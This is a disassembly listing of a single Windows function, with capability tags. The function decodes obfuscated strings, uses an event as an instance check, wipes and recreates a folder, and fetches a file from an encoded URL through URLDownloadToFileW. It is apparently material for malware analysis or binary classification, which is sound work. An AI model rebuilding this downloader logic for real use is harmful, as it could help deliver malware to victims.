Function at 0x407700
Capabilities:
Accept command line arguments
Create directory
Delete file
Download url
Enumerate files on windows
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4c0
lea ecx, [esp + 0x58]
push ebx
push ebp
push esi
push edi
push 0x45859c
call fcn.00409780
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
call fcn.00401600
test eax, eax
je 0x408312
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
lea ecx, [esp + 0x30]
push str.X3NybV1zbmJfcmNw
mov dword [esp + 0x34], eax
call fcn.00403500
test al, al
jne 0x40776f
push 0x10
push str.X3NybV1zbmJfcmNw
lea ecx, [esp + 0x38]
call fcn.00403990
mov eax, dword [esp + 0x4c]
cmp eax, 2
jge 0x407816
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.Y2tucnddYWtiXWpnbGM
mov dword [esp + 0x18], eax
call fcn.00403500
test al, al
jne 0x4077b9
push 0x14
push str.Y2tucnddYWtiXWpnbGM
lea ecx, [esp + 0x1c]
call fcn.00403990
push ecx
mov ecx, esp
push 0x4574e3
call fcn.00402d50
mov ebp, dword [esp + 0x18]
push ecx
mov edi, esp
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, dword [esp + 0x40]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
add esp, 0xc
or ebx, 0xffffffff
jmp 0x407950
or ebx, 0xffffffff
cmp eax, 3
jge 0x407982
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.LWc
mov dword [esp + 0x18], eax
call fcn.00403500
test al, al
jne 0x40785f
push 4
push str.LWc
lea ecx, [esp + 0x1c]
call fcn.00403990
mov ebp, dword [esp + 0x14]
mov edi, dword [edi + 4]
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov eax, dword [eax]
mov cx, word [eax]
cmp cx, word [edi]
jne 0x4078ac
test cx, cx
je 0x4078a8
mov cx, word [eax + 2]
cmp cx, word [edi + 2]
jne 0x4078ac
add eax, 4
add edi, 4
test cx, cx
jne 0x407886
xor esi, esi
jmp 0x4078b1
sbb esi, esi
or esi, 1
mov edx, dword [esp + 0x38]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4078cc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x40796d
push str.Z2x0X2pnYl1ha2Jdbl9wX2tjcmNw
lea ecx, [esp + 0x28]
call fcn.00402e30
push ecx
mov ecx, esp
push 0x45750a
call fcn.00402d50
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x30]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, dword [esp + 0x40]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
mov edx, dword [esp + 0x30]
add esp, 0xc
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407950
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x407965
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
or esi, 0xffffffff
jmp 0x4082b5
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x407982
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.Sm1hX2paTkE_bm5Rcm1wY1NuYl9yY3A
mov dword [esp + 0x18], eax
call fcn.00403500
test al, al
jne 0x4079bf
push 0x20
push str.Sm1hX2paTkE_bm5Rcm1wY1NuYl9yY3A
lea ecx, [esp + 0x1c]
call fcn.00403990
mov edi, dword [esp + 0x14]
push ecx
add edi, 0xfffffff0
mov esi, esp
mov ecx, edi
mov dword [esp + 0x3c], edi
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 1
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventW]
mov edx, dword [esp + 0x20]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407a11
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
je 0x407a1c
xor esi, esi
jmp 0x4082a1
push ecx
mov ecx, edi
mov esi, esp
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407a60
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x14]
push str.P05OQj9SPw
mov dword [esp + 0x18], eax
call fcn.00403500
test al, al
jne 0x407a9d
push 0xc
push str.P05OQj9SPw
lea ecx, [esp + 0x1c]
call fcn.00403990
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x18]
push str.Wk5BP25uUXJtcGNaQl9yX1pzbmJfcmM
mov dword [esp + 0x1c], eax
call fcn.00403500
test al, al
jne 0x407ada
push 0x20
push str.Wk5BP25uUXJtcGNaQl9yX1pzbmJfcmM
lea ecx, [esp + 0x20]
call fcn.00403990
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
push ecx
mov ecx, eax
mov dword [esp + 0x20], eax
mov esi, esp
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
call fcn.0042cd76
mov edx, eax
add esp, 4
test edx, edx
jne 0x407b14
xor ecx, ecx
jmp 0x407b2f
mov ecx, edx
lea esi, [ecx + 2]
lea esp, [esp]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x407b20
sub ecx, esi
sar ecx, 1
push ecx
push edx
mov ecx, 0x461ba8
call fcn.00403990
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407b56
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
push ecx
mov ecx, eax
mov dword [esp + 0x4c], eax
mov esi, esp
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x24]
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov ecx, 0x461ba8
mov eax, dword [eax]
push dword [eax - 0xc]
push eax
call fcn.0040a020
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407ba7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [0x461ba8]
lea ecx, [ecx - 0x10]
call fcn.004037d0
mov ebp, dword [sym.imp.USER32.dll_wsprintfW]
lea esi, [eax + 0x10]
push esi
lea eax, [esp + 0x84]
push str._s.
push eax
call ebp
add esp, 0xc
lea eax, [esp + 0x280]
push eax
lea eax, [esp + 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x407c33
mov edi, edi
lea eax, [esp + 0x2ac]
push eax
push esi
lea eax, [esp + 0x88]
push str._s_s
push eax
call ebp
add esp, 0x10
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [esp + 0x280]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x407bf0
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
add esi, 0xfffffff0
mov eax, ebx
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x407c4a
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
push 0
push dword [0x461ba8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
call fcn.004052e0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x18]
push str.VGNwcWdtbA
mov dword [esp + 0x1c], eax
call fcn.00403500
test al, al
jne 0x407c9a
push 0xc
push str.VGNwcWdtbA
lea ecx, [esp + 0x20]
call fcn.00403990
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x461ba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov ebp, dword [esp + 0x20]
mov edi, esp
push ecx
add ebp, 0xfffffff0
mov esi, esp
mov ecx, ebp
mov dword [esp + 0x40], ebp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
lea ecx, [esp + 0x28]
mov edx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.004055f0
add esp, 8
mov ecx, 0x461ba0
push eax
call fcn.00409670
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407d17
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [0x461ba0]
cmp dword [eax - 0xc], 0
jne 0x407d94
push ecx
mov edi, esp
push ecx
mov ecx, dword [0x461ba4]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
lea ecx, [esp + 0x28]
mov edx, SysReAllocString
call fcn.004055f0
add esp, 8
mov ecx, 0x461ba0
push eax
call fcn.00409670
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407d94
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x18]
push str.cXJfcHI
mov dword [esp + 0x1c], eax
call fcn.00403500
test al, al
jne 0x407dd1
push 8
push str.cXJfcHI
lea ecx, [esp + 0x20]
call fcn.00403990
push ecx
mov ecx, esp
push 0x45750b
call fcn.00402d50
mov eax, dword [esp + 0x1c]
push ecx
add eax, 0xfffffff0
mov edi, esp
push ecx
mov ecx, eax
mov dword [esp + 0x34], eax
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov ebp, dword [esp + 0x3c]
mov edi, esp
push ecx
add ebp, 0xfffffff0
mov esi, esp
mov ecx, ebp
mov dword [esp + 0x4c], ebp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
add esp, 0xc
lea ecx, [esp + 0x68]
call fcn.00405730
test al, al
jne 0x408197
cmp dword [0x461990], 0
je 0x408118
push 0x45870c
lea ecx, [esp + 0x28]
call fcn.00402e30
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
call fcn.004051a0
mov edx, dword [esp + 0x28]
add esp, 4
add edx, 0xfffffff0
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x407e88
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
push str.ZnJybnE4LS1lbW1lamMsYW1r
lea ecx, [esp + 0x48]
call fcn.00402e30
push 0
push 0
push dword [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x54]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x3c]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov edx, dword [esp + 0x2c]
mov esi, eax
add edx, 0xfffffff0
mov ecx, ebx
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x407ee5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x408077
lea ecx, [esp + 0x24]
call fcn.00402ed0
lea ecx, [esp + 0x14]
call fcn.00402ed0
lea edx, [esp + 0x24]
lea ecx, [esp + 0x14]
call fcn.004069b0
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x24]
cmp dword [esi - 0xc], 0
je 0x407f99
cmp dword [edi - 0xc], 0
je 0x407f99
mov eax, dword [0x461ba0]
mov ecx, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x407f4d
test dx, dx
je 0x407f49
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x407f4d
add eax, 4
add ecx, 4
test dx, dx
jne 0x407f27
xor eax, eax
jmp 0x407f52
sbb eax, eax
or eax, 1
shr eax, 0x1f
test al, al
je 0x408068
push edi
lea ecx, [esp + 0x54]
call fcn.00409780
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00409780
lea ecx, [esp + 0x68]
call fcn.00406e00
add esp, 0x18
lea ecx, [esp + 0x50]
call fcn.00402f00
lea ecx, [esp + 0x14]
call fcn.00402d30
lea ecx, [esp + 0x24]
jmp 0x4080d7
lea ecx, [esp + 0x18]
call fcn.00402ed0
push str.al9xcl10OyN1cSRial1qbGk7I3Vx
lea ecx, [esp + 0x30]
call fcn.00402e30
push str.Y2tucnddZ2xxcnBzYXJnbWxx
lea ecx, [esp + 0x44]
call fcn.00402e30
push edi
push esi
push ecx
mov ecx, dword [esp + 0x38]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
lea ecx, [esp + 0x1c]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push dword [eax]
lea eax, [esp + 0x24]
push eax
call fcn.0040a400
add esp, 0x10
lea ecx, [esp + 0x10]
call fcn.00402d30
push ecx
mov ecx, dword [esp + 0x1c]
mov esi, esp
add ecx, 0xfffffff0
call fcn.004037d0
push ecx
add eax, 0x10
mov edi, esp
push ecx
mov dword [esi], eax
mov esi, esp
mov ecx, dword [esp + 0x4c]
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
add esp, 0xc
lea ecx, [esp + 0x40]
call fcn.00402d30
lea ecx, [esp + 0x2c]
call fcn.00402d30
lea ecx, [esp + 0x18]
call fcn.00402d30
lea ecx, [esp + 0x14]
call fcn.00402d30
lea ecx, [esp + 0x24]
jmp 0x4080d7
push str.bG1dZ2xyY3BsY3JdYW1sbGNhcmdtbA
lea ecx, [esp + 0x30]
call fcn.00402e30
push ecx
mov ecx, esp
push 0x45752a
call fcn.00402d50
push ecx
mov edi, esp
push ecx
mov ecx, dword [esp + 0x38]
mov esi, esp
lea ecx, [ecx - 0x10]
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
add esp, 0xc
lea ecx, [esp + 0x2c]
call fcn.00402d30
mov edx, dword [esp + 0x44]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4080f7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x20]
mov eax, ebx
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408197
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x408197
lea ecx, [esp + 0x50]
mov dword [esp + 0x50], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 7
call fcn.00405e50
test al, al
je 0x40815b
sub esp, 0x18
lea eax, [esp + 0x80]
mov ecx, esp
push eax
call fcn.00402f60
lea ecx, [esp + 0x68]
call fcn.00406e00
add esp, 0x18
mov ecx, dword [esp + 0x64]
cmp ecx, 8
jb 0x408197
mov edx, dword [esp + 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40818d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40831c
push ecx
push edx
call fcn.0042288e
add esp, 8
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x408312
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
lea ecx, [esp + 0x24]
push str.Y2xi
mov dword [esp + 0x28], eax
call fcn.00403500
test al, al
jne 0x4081d4
push 4
push str.Y2xi
lea ecx, [esp + 0x2c]
call fcn.00403990
push ecx
mov ecx, esp
push 0x45752b
call fcn.00402d50
mov ebp, dword [esp + 0x28]
push ecx
mov edi, esp
add ebp, 0xfffffff0
push ecx
mov ecx, ebp
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
mov edi, esp
push ecx
mov ecx, dword [esp + 0x4c]
mov esi, esp
call fcn.004037d0
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00402190
add esp, 4
call fcn.00406480
add esp, 0xc
xor esi, esi
mov eax, ebx
lock xadd dword [ebp + 0xc], eax
dec eax
test eax, eax
jg 0x40823d
mov ecx, dword [ebp]
push ebp
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x28]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408255
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x34]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40826d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x48]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x408285
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x1c]
mov eax, ebx
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40829d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esp + 0x38]
mov eax, ebx
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x4082b5
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [esp + 0x30]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], ebx
dec ebx
test ebx, ebx
jg 0x4082ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [esp + 0x7c]
cmp ecx, 8
jb 0x408306
mov edx, dword [esp + 0x68]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4082fc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x408321
push ecx
push edx
call fcn.0042288e
add esp, 8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0x80004005
call fcn.004013d0
call fcn.00427553
call fcn.00427553
int3